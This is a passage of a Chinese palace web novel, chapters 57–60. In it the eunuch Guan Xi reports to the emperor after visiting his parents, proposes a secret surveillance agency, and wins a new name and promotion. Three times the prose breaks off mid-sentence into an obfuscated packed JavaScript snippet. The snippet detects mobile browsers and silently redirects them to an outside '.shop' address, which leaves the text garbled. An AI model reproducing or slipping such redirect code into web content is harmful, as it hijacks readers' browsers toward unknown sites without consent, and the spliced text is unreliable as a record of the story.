双喜连忙上前,将一直抱在怀里的一个小包袱放在桌上,解开,露出里面两锭银子,两匹青布和两盒宫制点心。 “这些,你们留着用度。既是亲戚安排周到,想来也不缺什么,算是儿子一点心意。”关禧说着,站起身,“我奉命出宫,时限紧,还要赶回去复命。就不多留了。” 李父脸上露出失望和不舍,李母更是急了:“这、这就走?饭都没吃一口……娘……娘给你做点你小时候爱吃的……” “不必了。”关禧打断她,“宫里规矩严,不能耽搁。”他看了一眼李父李母身上崭新的衣裳,补充了一句,“在这里,少说话,多听刘嬷嬷的。亲戚给什么,就受着什么,莫问缘由,更莫与人谈论我的事。” 这话既是嘱咐,也是警告。 李父李母被他话里的冷意慑住,呐呐不敢再言。 刘嬷嬷这时上前一步,笑道:“少爷放心,老奴一定尽心伺候好老爷夫人。少爷公务要紧,老奴送您出去。” 关禧不再多言,对李父李母略一颔首,便转身向外走去。 走出正房,站在那株老梅树下,关禧停下脚步,回头看了一眼这方精致的院落。李父李母互相搀扶着站在房门口,眼巴巴地望着他,李母的眼泪又流了下来,李父则佝偻着背,脸上是深深的茫然。 关禧收回目光,对刘嬷嬷淡淡道:“有劳。” 刘嬷嬷恭恭敬敬地将他送到大门外,直到关禧上了马车,帘子落下,她才直起身,脸上的笑容瞬间收敛,眼神变得深沉,瞥了一眼巷子深处某个方向,然后迅速退回门内,关上了那两扇沉重的黑漆木门。 “咔哒。”门栓落下的声音,清晰传来。 马车内,关禧靠回车厢壁,闭上了眼。 车轮再次滚动,碾过青石板路,驶离这片安静的街区,重新汇入河间府城喧嚣的市声之中。 57.第 58 章 车轮碾过最后一段官道的尘土,驶入京郊的暮色时,天已完全黑透。冬日昼短,城门早已关闭,但皇城东侧专供宫内车辆进出的偏门,还留着一道缝隙。验过腰牌,问过来处,守卫的目光在关禧面无表情的脸上停留一瞬,挥手放行。 宫道两侧的石座宫灯已然点燃,在呼啸的北风里摇晃出昏黄光晕,将马车投下的影子拉扯得忽长忽短。车轮碾过宫道平整石板的声音,比在城外土路上沉闷许多,一声声,像碾在人心上。 回到乾元殿西配殿那间耳房时,戌时已过半。 双喜手脚麻利地卸下车上的小包袱,里面只剩下一套换洗衣物和些许散碎铜钱,皇帝赏赐的银两布帛点心,已全数留在了河间府那间精致的囚笼里。他又忙着去打热水,准备晚膳。 关禧站在屋子中央,身上还带着长途奔波的尘土气和车厢里那股混合着毛毡的味道。这味道与耳房里洁净的熏香气息格格不入,提醒着他刚刚离开的那个既陌生又真实的世界。 他需要洗掉这身风尘,更需要洗掉这几日所见所闻所带来黏在心头的那种滞重感。 “备水,我先沐浴。”他对双喜吩咐,声音有些哑。 双喜应了一声,小跑着去耳房后头专供他们这些首领太监使用的小浴间准备。那里有从统一热水房引来的管道,虽比不得主子们的浴池奢华,却也方便。 温热的水流淌进柏木浴桶,蒸腾起白蒙蒙的雾气。关禧褪下那身沾了尘土的鸦青色外袍,中衣,将自己浸入水中。水温偏高,烫得皮肤发红,缓解了骨头缝里渗出的寒意。他闭上眼睛,仰头靠在桶沿,任由热水淹没肩颈。 脑海中不受控制地闪过白日画面:上河村破败的院墙,汉子脸上贪婪又惊恐的神色,河间府宅院里父母惶惑的脸,刘嬷嬷那恭敬的笑容……最后,定格在马车驶离时,回望的那一眼,父母相互搀扶着站在门内,身影被渐沉的暮色吞没,模糊不清。 他睁开眼,掬起一捧水,狠狠泼在脸上。 洗去尘土,换上干净柔软的月白色细棉中衣,外罩一件半旧的靛蓝夹袄,那身天青色的杭绸袍子被他仔细叠好收了起来,太过扎眼。头发用布巾绞得半干,松松束在脑后。双喜已从膳房提回了食盒,一荤一素一汤,并一碗晶莹的白米饭,在桌上冒着热气。 关禧坐下,慢慢吃着。饭菜滋味寻常,暖胃。他吃得很仔细,将最后一口饭咽下,又喝了半碗汤,才搁下筷子。 收拾停当,戌时末了。 他该去复命了。皇帝准了他四日假,提前回来,理应第一时间回禀。 走出耳房,初冬的夜风立刻卷走了身上残存的那点暖意。乾元殿的书房方向亮着灯,不如往日这个时辰明亮。他略一思忖,还是朝着书房走去。 书房外的值房里,今夜当值的是另一个姓赵的首领太监,正打着哈欠对着一本册子勾画什么,见关禧进来,有些意外。 “小离子首领?这就回来了?不是说明日才到日子?” “路上顺利,便提早了些。陛下可在书房?烦请公公通禀一声,奴才回来复命。”关禧语气平和。 赵太监看了看更漏,摇头:“陛下今日晚膳用得早,批了会儿折子,两刻钟前就说乏了,起驾回寝殿了。这时候,怕是已准备安置。”他顿了顿,压低声音,“孙副总管方才过来传过话,说若你今晚回来,不必去书房,直接去寝殿外候着。陛下或许会问话。” 寝殿? 关禧心头一沉。书房是君臣奏对,处理公务之地,寝殿则私密得多。这个时辰,去寝殿外候着……他压下翻涌的复杂心绪,面色如常:“谢公公提点。我这就过去。” 从书房到皇帝寝殿,需穿过一小片庭院。今夜无星无月,只有廊下宫灯在风里摇晃,光线幽暗。寝殿所在的院落比西配殿这边更加肃静,连风声似乎都收敛了些。殿门紧闭,檐下站着两个带刀侍卫,眼神在阴影里锐利地扫过关禧,认出他后,又漠然地移开。 殿门外廊下,孙得禄拢着手站在那里,脸上没什么表情,只颔首,“陛下已歇下了。你就在此候着。若里头有动静,自会唤你。” “是。”关禧应下,走到廊柱旁一个既不会挡路又不会太过显眼的位置,垂手肃立。这个位置,能隐约听到殿内极细微的声响,或许是烛火爆开的噼啪声,或许是衣物摩擦的窸窣,又或许只是他自己的错觉。 时间在寂静与寒冷中缓慢流淌。北风穿过廊庑,发出呜呜的轻响,卷着干燥的尘土气息。关禧站得笔直,目光落在面前光洁的金砖地面上,映出廊灯摇晃的微光和他自己一动不动的倒影。 腿脚渐渐有些僵硬,指尖冰凉。他想起河间府那间烧着地龙温暖的屋子,想起上河村刺骨的寒风和破败的院落,想起更久以前,承华宫西厢那间阴冷小屋……最后,思绪飘回此刻,这辉煌宫宇深处,御前寝殿外的廊下。 一样的冷。不一样的,是这里无处不在,无形的压力,比寒风更刺骨。 不知过了多久,或许只有一刻,或许更长。殿内传来一声极轻的咳嗽,随即是衣物摩挲和起身的动静。 关禧立刻凝神。 殿内传来萧衍有些低哑的声音,隔着门板,不甚清晰:“……谁在外面?” 孙得禄立刻趋前半步,贴着门缝,声音恭谨无比:“回陛下,是小离子。他傍晚回宫了,来向陛下复命。” 里面静了一瞬。 “让他进来。”萧衍道,顿了顿,又补了一句,“你退下吧。” “是。”孙得禄躬身,转身对关禧使了个眼色,自己悄无声息地退到了更远处的阴影里。 关禧深吸一口气,抬手,推开那扇沉重的殿门。 一股暖融融混合着龙涎香和某种清冽安神香的气息扑面而来,与外间的寒冷截然不同。寝殿内光线昏暗,只在内室入口垂下的帷幔后,透出朦胧橘黄色的光亮。 他反手掩上门,隔绝了外面的风声。殿内铺着厚厚的地毯,脚步落在上面,悄无声息。他走到内室帷幔前,停下,跪下:“奴才小离子,叩见陛下。奴才奉命归京,特来复命。” 帷幔后传来衣物悉索声,萧衍坐起了身。 “进来回话。” 关禧起身,低着头,掀开那层厚重的明黄色绣龙纹帷幔,走了进去。 内室比外间更加温暖。墙角鎏金蟠龙纹的铜炭盆里,银骨炭烧得正旺,只余一点幽蓝的火心,持续散发着热量。一张宽大的紫檀木拔步床置于室内中央,此刻帷帐半开,萧衍只穿着一身明黄色的绫缎寝衣,披着一件墨蓝色缂丝龙纹的薄棉袍,斜倚在床头垒起的软枕上。他脸色在床头宫灯柔和的光线下,显得有些苍白,眼下带着淡淡青影。 床边小几上放着一盏喝了一半的参茶,还冒着丝丝热气。 “事情都办妥了?”萧衍问。 “回陛下,都办妥了。陛下赏赐的银两布帛,已交予家父母。奴才代父母,叩谢陛下天恩。”关禧重新跪下,叩首。 “嗯。”萧衍应了一声,“家里可都好?” 关禧维持着叩首的姿势,声音平稳:“托陛下洪福,家中一切安好。父母感念陛下恩德,叮嘱奴才务必尽心侍奉,以报君恩。” “安好便好。”萧衍淡声道,目光在关禧低垂的后颈和束得整齐的发髻上停留片刻,“河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081685|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间府……如今光景如何?朕记得去岁那边似有春旱。” 关禧心头微紧。皇帝问的不是他父母,是河间府的民情。是随口一问,还是别有深意?他不敢大意,斟酌着答道:“奴才归心似箭,一路未曾多停留。然入河间府境后,所见田地虽有冬闲之象,但沟渠井然,村落炊烟不绝,市集亦有些许人气。府城之中,秩序尚可。相较奴才离家入宫之时,光景似……略平稳些。”他只陈述所见,不加评判,更不提父母被接走之事。 萧衍听了,沉默片刻,忽而轻轻笑了一声,那笑声很短,听不出什么意味。 “略平稳些……是啊,太后娘娘慈悲,体恤朕身边人的亲眷,自然是要安稳的。”他这话说得极轻,像自言自语,又像意有所指。 关禧伏在地上,不敢接话。 内室陷入短暂的寂静,只有炭盆里偶尔发出的细微噼啪声。 萧衍有些倦了,抬手揉了揉眉心,重新靠回软枕,目光却未从关禧身上移开。 “抬起头来。” 关禧依言抬头,视线恭敬地垂着,落在床前铺着的繁复华丽的波斯地毯花纹上。 “朕让你回家一趟,你心里可觉得是恩典?”萧衍问,语气平淡。 关禧心念电转,迅速答道:“陛下体恤,准奴才全人伦孝道,赏赐丰厚,此乃天大的恩典。奴才感激涕零,唯有肝脑涂地,以报陛下万一。” “人伦孝道,”萧衍重复着这四个字,“是啊,人伦孝道。看来你这趟回去,孝道是尽了。只是不知,是尽了你的孝道,还是遂了别人的意?” 他这话说得愈发露骨。关禧额角有细密的冷汗渗出,他强迫自己稳住心神,“奴才愚钝,只知奉旨行事,感念君恩。其余不敢妄加揣测。” “奉旨行事……好一个奉旨行事。”萧衍看着他,昏暗灯光下,年轻的帝王眼中情绪晦暗不明,像深潭,表面平静,底下却潜流暗涌,“小离子,你是个聪明人。有时候,太聪明,看得太明白,未必是好事。但有时候,装糊涂,也得装得像才行。” “这趟奔波,也累了吧。起来吧,别跪着了。” “谢陛下。”关禧起身,垂手肃立,腿脚因久跪而有些酸麻。 萧衍的目光在他身上逡巡,从他洗浴后微湿的鬓角,到干净的靛蓝夹袄,再到低垂看不清神色的眉眼。 “过来。”萧衍道,声音比刚才更低了些。 关禧依言,向前走了两步,停在距离床榻三步远的位置。 萧衍拍了拍自己床沿:“坐这儿。” 关禧抬起头,第一次在寝殿内,对上了萧衍的眼睛。那双颜色偏深的眸子里,没有朝堂上的威仪,也没有书房里的淡漠,只有一片深不见底的幽暗,和一丝难以辨别的晦涩情绪。 “奴才不敢。”关禧的声音干涩。 “朕让你坐。”萧衍的语气没什么变化。 关禧指甲深深掐进掌心,用那点刺痛强迫自己保持清醒。他极其缓慢地走到床沿,侧身坐下,只坐了极小半边,身体绷紧。 距离如此之近,他能清晰地闻到萧衍身上寝衣熏染的淡雅香气,混合着参茶的微苦气息。 萧衍侧过头,看着他紧绷的侧脸和颤动的睫毛,忽然伸出手。 关禧下意识地想躲,身体却僵在原地,动弹不得。 那只手悬在他脸颊侧方寸许之地,指尖似乎想碰触他鬓角一缕未完全干透的发丝,又停住了。 “你怕朕?”萧衍问,声音近在耳畔,气息温热。 关禧喉咙发紧,只能从牙缝里挤出两个字:“……陛下。” 这不是回答,却胜似回答。 58.第 59 章 萧衍靠回软枕,明黄寝衣的领口松敞,露出锁骨处一小片苍白的皮肤,他闭着眼,像是自语,又像是说给僵坐在床沿的关禧听。 “有时候,朕也挺累的。这宫里宫外,看起来花团锦簇,实际上……没一处是轻松的。你家里安稳了,朕也算了却一桩事。只是这安稳……又能持续多久呢?” “朕坐在这位置上,批着朱批,看着奏章,说出去的话,颁下去的旨,可底下……到底有多少人真正在听,在照着办?六部的老狐狸,哪个背后没有几座靠山?宫里头,更是针插不进,水泼不进。朕想换掉一个不称心的,想用个合心意的人,太后一句还需老成持重,或是莫要寒了老臣的心,朕就得掂量再三,最后……多半还是得依着旧例。” 他轻笑一声,那笑声短促,“有时候朕觉得,自己倒像个摆在御座上的木偶,线牵在永寿宫手里,牵在各家世族手里。他们想让朕笑,朕就得笑,想让朕点头,朕就得点头。就连想让自己身边清净些,放个……顺眼的人,都得闹出这么大动静,惹来这么多双眼睛盯着。” 关禧听着,心脏在胸腔里沉沉地跳,每一下都撞得他耳膜发疼。皇帝这番剖白,是罕见的直白,也蕴含着极大的风险。这是在明晃晃地抱怨太后掣肘,抱怨皇权旁落,更是将他今日返乡所见安稳背后的那只手,血淋淋地摊开在了两人之间。这是信任?是试探?还是引君入瓮的倾吐? 他坐在床沿,半边身子几乎悬空,背脊挺得笔直,掌心早已被指甲掐得生疼。这些话,是绝不该对他这样一个身份尴尬的太监说的。可皇帝说了,要么是压抑太久,要么就是别有深意。 换不了人?用不了合心意的人?耳目不通,政令难行? 这个架空的大晟王朝,有内阁,有六部,有后宫,有太后垂帘听政般的影响力,有勋贵,有清流,有外戚……似乎应有尽有。可好像,唯独缺了点什么,缺了某种能直接听命于皇帝,监察百官,掌控京畿,甚至渗透到民间的特殊机构。明朝有什么?锦衣卫,东厂,西厂,那些让百官闻风丧胆,只对皇帝一人负责的爪牙与耳目。 没有东厂。或者说,至少在他恶补过的这个王朝的官制体系里,没有类似职能由宦官主导的独立侦缉刑讯机构。内廷有二十四衙门,有侍卫亲军,但要么职责分散,要么同样可能被渗透,被掣肘。 一个模糊的轮廓,在他心中快速成形。 他缓缓吸了一口气,那气息带着炭火的热和香的沉,滚过喉咙时,有些干涩。 “陛下,奴才愚钝,妄言几句,若有不妥,请陛下治罪。” 萧衍睁开了眼,那双颜色偏深的眸子转向他,里面映着床头宫灯跳动的光,看不出情绪:“说。” “陛下忧心之事,奴才斗胆揣测,或在于……耳目不清,臂指难伸。六部各有门路,后宫牵连前朝,即便陛下想用新人,想换旧吏,若无得力之人专司查察、禀报,仅凭明面上的考课奏对,难免……难免为人所蔽。” “奴才妄言,陛下既觉现有之制掣肘,或可另辟蹊径?” “另辟蹊径?如何另辟?” 关禧抬起头,这一次,他的目光不再完全低垂,而是以一种臣子建言时该有的姿态,迎向萧衍探究的视线。 “奴才入宫日浅,见识粗陋。只是曾听一些老太监闲谈某朝旧闻,偶有提及,古时或有帝王,因不忿权臣遮蔽,或忧心外朝党争,曾于宫禁之内,简拔亲信内侍,赋予侦缉、监察之权,直接听命于君上,独立于外朝衙门体系之外。此类人等,只对陛下一人负责,专司刺探不轨、肃清奸佞、传递密报,乃至……审理特殊案件。其权柄直接来自陛下,不受其他衙门口干预,行事隐秘,如臂使指。” “内侍?侦缉监察?独立于外朝?”萧衍重复着这几个词,“你的意思是让太监去查百官?去管宫外的事?” “陛下明鉴。”关禧小心地措辞,“非是取代外朝法司,而是查补其不足。外朝官员,盘根错节,彼此牵连,查案问罪,往往牵一发而动全身,顾虑重重。且消息传递,层层转递,极易泄露,或为有心人利用。若有一支完全听命于陛下、由内廷直接掌握的……嗯,姑且称之为缉事之人,专司机密查访。凡百官言行、市井流言、边关动静,乃至某些不宜公开处置的阴私之事,皆可秘密探查,直达天听。陛下手握此等耳目,则外朝动向,民间舆情,乃至某些隐匿于暗处的不臣之举,或可更了然于胸。” 他停顿了一下,声音压得更低:“此等机构,权柄来源唯一,便是陛下。可称……皇权特许。不涉常规政务,唯效忠陛下一人,唯办陛下交办之机密要事。对内,可监察宫闱,肃清不轨;对外,可探查百官,制衡权臣。犹如陛下之耳目手足,延伸至朝野各处阴暗角落。” 说完这番话,关禧重新垂下眼,心脏在胸腔里狂跳,几乎要撞出来。他不知道自己说得是否足够清晰,是否触动了皇帝心中那根最敏感的弦。他提出的,是一个在皇权集中道路上极具诱惑,也极其酷烈的工具。东厂,或者说类似东厂的机构,一旦建立,便是皇权的延伸,是悬在百官头顶的利剑,也是皇帝摆脱掣肘,收紧权柄的利器。但同样,它也会将提出建议的他,更深地卷入权力漩涡的中心。 寝殿内一片死寂。 只有炭火偶尔的“噼啪”,和两人压抑的呼吸声。 萧衍一动不动地靠在床头,目光死死锁在关禧低垂的脸上。那目光锐利如刀,似要剖开他的皮肉,直窥内里最真实的想法。 皇权特许,独立监察,直达天听,耳目手足。 每一个词,都像一把钥匙,精准地捅开了皇帝心中那扇被压抑太久的门。他受够了太后的掌控,受够了老臣的敷衍,受够了这看似至高无上实则处处受制的帝王生涯,他需要眼睛,需要耳朵,需要一把只属于他自己锋利而隐秘的刀。 而这个提议,竟然出自眼前这个小太监之口。一个出身微贱,刚在御前站稳脚跟,看似除了容貌和一点小聪明别无长物的太监。 萧衍坐直了身体,墨蓝色的薄棉袍滑落肩头,他俯视着坐在床沿背脊挺直的少年,声音低沉: “小离子,你可知你在说什么?” 关禧缓从床沿滑落,重新跪伏在那繁复华丽的波斯地毯上,额头抵着冰凉丝滑的织物。 “陛下,奴才自知此言,已是僭越至极,千刀万剐亦不为过。” 他抬起头,以一种奇异的方式,既维持着臣服的姿态,又像要将自己的全部心神剖开,呈于御前。 “但奴才更知,今日能在陛下寝殿,说这番话,已是奴才几世修来的造化,也是奴才……唯一的机会。奴才出身微贱,命如草芥,净身入宫,本无他想,只求苟活。是陛下青眼,将奴才从泥淖中提起,置于御前。奴才的生死荣辱,乃至……家人安危,皆系于陛下一身。” “太后娘娘慈悲,体恤奴才亲眷,奴才感激涕零。然此身此命,此眼此耳,自踏进乾元殿那日起,便只认陛下一人为主。奴才没有退路,也无旁枝可依。陛下若觉此路可行,奴才便是陛下手中最钝的刀,最暗的影, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081686|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只遵陛下旨意,不见天日,不惧骂名,纵然身败名裂,骨碎形销,亦是甘愿。若陛下觉奴才此言荒诞,有害圣听,此刻便可命人将奴才拖出去,奴才绝无怨言,只当……从未说过。” 他以退为进,将家人安危点出,又把只认陛下一人的投名状递得明明白白。他知道,萧衍此刻需要的,或许不是完美的方案,而是一个绝对无法回头,只能依附于他的执行者。一个与他同样被太后阴影笼罩,同样渴望挣脱,且别无选择的自己人。 萧衍久久没有言语。 寝殿内,只有炭火细微的燃烧声。宫灯的光芒在皇帝年轻的脸上投下明明灭灭的阴影,他目光幽深,紧紧锁着伏在地上的少年。那身半旧的靛蓝夹袄,洗得发白的领口,低垂时露出一截过分白皙的后颈,挺直的背脊绷紧,像一张拉满的弓,蓄势待发,又脆弱易折。 “最钝的刀……最暗的影……”萧衍重复,指尖在软枕的金线上划过,“你可知,若朕真给了你这把刀,你会面对什么?满朝文武的唾骂,史笔如铁的口诛笔伐,后世千秋的阉宦恶名……甚至,不必等到后世,或许明日,或许下一刻,你就会意外暴毙在某条宫道,某间值房。” 关禧维持着跪姿,声音没有起伏:“奴才说过,此身此命,系于陛下一身。陛下指向何处,奴才便去往何处。至于身后名……奴才本是无根之人,何惧污名加身?若能助陛下一二,便是粉身碎骨,亦是死得其所。”他顿了顿,补充道,“况且,若行此事,未必需要奴才去做。刀可以是任何一把刀,影可以是任何一道影。奴才或许可以只是陛下手中,握着刀影的那只手。” 这话暗示了更深层的操作可能,他未必需要站在台前,可以隐藏在更暗处,作为皇帝与那个潜在机构的连接点,甚至只是最初的策划与推动者之一。 萧衍眼中掠过一丝极锐利的光。他确实心动了。这个提议本身,以及眼前这个太监所展现出的孤注一掷的狠绝和清晰的头脑,都击中了他内心最深处的渴望。一个完全依附于他,没有退路,且懂得如何在阴影中行事的人。 风险巨大。一旦泄露,不仅是这小太监万劫不复,他也会面临太后与前朝更加汹涌的反对浪潮。但收益……或许同样惊人。 他需要时间权衡,需要更周密的布局。 “起来吧。今夜之言,出你之口,入朕之耳。若有第三人知晓……” “奴才明白。”关禧立刻应道,慢慢站起身,垂手肃立,“今夜奴才只是回禀省亲之事,感念天恩。” “你且退下。好好当你的差。”萧衍摆了摆手,重新靠回软枕,闭上了眼睛,“至于你今日所言,朕,会考虑。” “是,奴才告退。”关禧躬身,一步步倒退着,轻轻掀开帷幔,退出内室,直到重新踏上外间的地毯,反手掩上寝殿沉重的门扉。 门内,温暖馥郁,门外,寒风凛冽。 他站在廊下,被冷风一激,才发觉后背的中衣早已被冷汗浸透,贴在皮肤上,一片冰凉。孙得禄不知何时又出现在不远处的阴影里,目光在他脸上扫过,没有任何表示。 关禧对着孙得禄的方向颔首,然后转身,沿着来时的路,一步一步,走回西配殿那间名为静尘的耳房。 推开门,双喜已经伏在角落的小杌子上睡着了,发出轻微的鼾声。炭盆里的火将熄未熄,屋子里残留着一点微弱的暖意。 关禧走到书案前,没有点灯,就着窗外透进来廊下宫灯遥远的微光,缓缓坐下。 手,仍在难以抑制地颤抖。 59.第 60 章 寝殿深谈后的几日,关禧在乾元殿的日子,表面按部就班。他在值房整理那些永无尽头的卷宗,皇帝驾临时,便进去研墨伺候。萧衍待他的态度,与往常无异,甚至比前些日子更平淡了些。 但关禧能察觉到那平静水面下的暗流。孙得禄看他的眼神,少了些公式化的客气,多了几分难以言喻的探究。交到他手上的文书,内容变得更为具体,有时涉及某个特定官员近期动向的零碎记录,需要他从中归纳线索。 关禧心如明镜。种子已经埋下,正在皇帝的权衡与布局中悄然孕育。而他,需要在这段等待破土而出的时间里,让自己变得更有用,也更可信。 他比以往更加勤勉,那些繁杂的文书梳理得井井有条,摘要写得越发精炼。他借阅更多典籍,为了更透彻地理解这个王朝,开始留心宫中人事往来的细微之处。他清楚,皇帝需要的不是夸夸其谈的谋士,而是能沉入暗处捕捉信息的眼睛和能执行秘密任务的手。 同时,一种日益强烈的冲动在他心底翻腾,关于名字。 小离子。 每次听到这个称呼,都像一根细刺扎进心里。这不仅仅是原主的代号,更象征着那场将他变成非男非女存在的残酷手术,象征着无根的浮萍,可被随意处置的卑微。他渴望摆脱它,为了在精神上斩断一部分与那不堪过去,与这被动命运的联结。 他想成为关禧,不仅仅是在内心,而是在这宫廷的现实规则里,光明正大地使用这个名字。这像是一种对自我的确认和锚定,在灵魂被彻底吞噬前,抢下一块属于关禧的领地。 他知道这极难。太监之名,或随主姓,或由主子赐予,哪有自己索要的道理?那是僭越,是不知天高地厚。但他更知道,如果永远只是小离子,他将永远被束缚在那个刚入宫就差点死掉卑微怯懦的躯壳形象里。他要往前走,要握住可能到来的机会,就需要一个与之相配,能承载更多分量的名号。 机会,在看似寻常中降临。 这日午后,萧衍批阅奏章间隙,似随口问起一桩旧年河道款项的核查结果,正涉及关禧前几日整理过的卷宗。 关禧对答如流,不仅复述了款项数目,经手官员,还简要提及了当时朝中对此事的几派争议论点,以及后续落实情况。虽未加半句个人评判,但清晰程度远超一个普通整理文书者。 萧衍听完,静默片刻,目光落在关禧低垂的侧脸上,“你近来差事,做得越发精细了。看来,那些故纸堆里,倒真能淘出些真章。” 关禧躬身:“陛下谬赞,奴才分内之事,唯恐疏漏。” “分内之事……”萧衍指尖轻叩御案,“你这分内,如今倒是越来越宽了。” 语气听不出喜怒,但关禧敏锐地捕捉到那一丝审视下的松动。他心念急转,知道此刻或许是一个极微妙的时机。皇帝正对他有用的一面进行评估,且印象不差。现在提出一个看似私人,实则关乎身份认同的请求,若处理得当,或许能被解读为忠诚进阶的一种表现,渴望更紧密地归属,渴望一个更能匹配陛下身边人身份的标志。 他深吸一口气,以一种比往日更显庄重的姿态,缓缓跪了下来。 萧衍挑眉,看着他。 “陛下,”关禧开口,声音清晰,“奴才有一非分之想,斗胆陈情,望陛下恕罪。” “讲。” “奴才蒙陛下不弃,拔擢于微末,得以侍奉御前,聆听圣训。陛下交办之事,无论巨细,奴才皆视若天恩,战战兢兢,竭力而为,唯恐有负圣望。然小离子此名,乃奴才入宫时浑浑噩噩所得,粗鄙微贱,实不堪承载陛下日渐信重之托,亦常令奴才自省时,深恐德才不配,玷污圣听。” 他抬起头,目光直视御案前方,不敢看皇帝眼睛,姿态恳切:“奴才私心仰慕关禧二字。关者,关乎要害,连接枢机;禧者,福泽吉庆,安宁祥瑞。奴才妄想,若得陛下恩准,以此二字为名,可时刻警醒奴才,身处关键之位,当为陛下关联内外祥瑞,摒除奸邪阴晦,以卑微之躯,祈祝陛下福寿永禧,江山永固。奴才……奴才自知此言狂妄逾矩,甘受任何责罚,只求陛下明鉴奴才一片赤诚依附之心。” 说完,他深深拜伏下去,额头触及冰冷的地砖,心脏在胸腔里擂鼓般狂跳。 这是一场豪赌。他将主动求名,包装成一种基于对职责认知和赤诚忠心的请求,并将“关禧”二字的解释,完全贴合了皇帝目前可能对他的定位期许,一个未来或许要担任关联内外,摒除奸邪角色的心腹。他绝口不提这是自己的本名,只说私心仰慕,将源头模糊化,避免任何不必要的联想。 书房内寂静无声。关禧能感觉到御案后那道目光,如实质,正在他背上反复刮过,衡量着他每一个字的真伪。 不知过了多久,或许只是短短一息,又漫长得像是一个世纪。 “关禧?”萧衍的声音终于响起,听不出任何情绪,“关联祥瑞,摒除阴晦……你倒很会解释。”他顿了顿,“一个太监,向朕求赐如此寓意之名,你可知这意味着什么?” 压力陡增。关禧伏地不动:“奴才愚钝,只知此名寓意吉祥,可励己心,更可彰显陛下圣德泽被,连微末之仆亦蒙福泽。奴才别无他念,唯有效死而已。” 又是沉默。萧衍的手指无意识地在奏章边缘摩挲,眼神幽深。这小太监,确实越来越有意思了。不仅敢想那等耳目之事,如今竟还敢主动求名,且求的是这样一个颇具野望寓意的名字。是真的赤诚依附,渴望归属?还是借机表忠,以退为进?抑或是……某种连他自己都未必完全明晰的自我期许? 无论如何,这份胆量,这份心思,还有那将名字与为君分忧紧密挂钩的说法,确实……契合了他目前的需要。一个不甘于永远微贱,渴望被赋予意义和任务的工具,有时比一个安分守己的工具更好用。 “罢了。名字而已。你既喜欢关禧二字,又解得用心,朕便准了。望你言行如一,不负此名。” 关禧紧绷的神经骤然一松,立刻重重叩首:“奴才关禧,谢陛下隆恩!定当日夜警醒,鞠躬尽瘁,以报陛下!” “起来吧。”萧衍挥了挥手,目光重新落回奏章上,仿佛刚才只是一件微不足道的小事,“关公公,朕拭目以待。” 关公公。 这一声称呼,正式加冕。不仅准了名,更以新名尊称,这是明确的信号。 * 赐名之后,变化接踵而至。 先是职衔。不过旬日,一道旨意下来,关禧由七品首领太监,擢升为从六品随堂太监,仍司乾元殿书房笔墨典籍,但职权范围明确扩大,兼领整理,保管部分机要文书副本之责。月俸,四季衣物规制也随之提升。 接着是住处。孙得禄亲自来,笑容可掬地说西配殿那间静尘耳房未免窄仄,已为他在乾元殿东侧一处更为清静独立的院落收拾出了一间厢房。那里原本是偶尔留宿的近臣或高阶内侍所用,虽仍是厢房,但比之前的耳房宽敞明亮许多,自带一个小小庭院,院中有株老槐,一应摆设用度也上了不止一个档次。关禧搬进去时,发现连书架上的书都多了不少,经史子集,地理杂记皆有,显然经过挑选。 最重要的,是皇帝交办的事务。 萧衍开始更频繁地召他去书房,不仅仅是研墨。一些并非极度敏感,但颇为繁琐的奏章,如地方官例行请安折,各部院寻常事务汇报,皇帝批阅累了,便会随手抽出几本,丢到关禧面前:“你看看,拟个批答大意,用白话写,朕瞧瞧。” 即便是草拟大意,使用白话书写,且内容不涉及核心决策,让关禧这样一个六品随堂太监接触乃至参与初步处理奏章,他虽隶属于司礼监,但此类事在本朝也极为罕见。 这是试探,也是培养,更是逐步赋予信任和权力的信号。 关禧如履薄冰,不敢有丝毫越矩,每次拟写,都牢牢把握依例,恭谨,简要的原则,将奏章中繁琐的辞藻转化为清晰直白的叙述,并附上符合规制或皇帝近期施政倾向的几种批答建议,供皇帝选择或修改,绝不自作主张。他的字迹始终是那手工整的馆阁体,内容力求逻辑分明,一眼可辨要害。 萧衍看过几次,通常不置一词,只拿起朱笔在他拟写的草稿上修改几处,或直接采用。 除了文书,皇帝的日常起居用度,也开始更多地经关禧之手。今日想用什么点心,明日要穿哪件常服,寝殿里燃什么香,甚至偶尔过问一下御膳房的菜单,萧衍会直接吩咐关禧去传话或安排。孙得禄依旧是副总管,不过很多具体琐事,皇帝似乎更愿意让关禧这个关公公去办。 这无疑将关禧推到了一个更微妙,也更显眼的位置。乾元殿上下,乃至后宫各处,很快都知道了这位陛下新赐名,快速擢升,颇得信重的关公公。 羡慕,嫉妒,巴结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083639|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 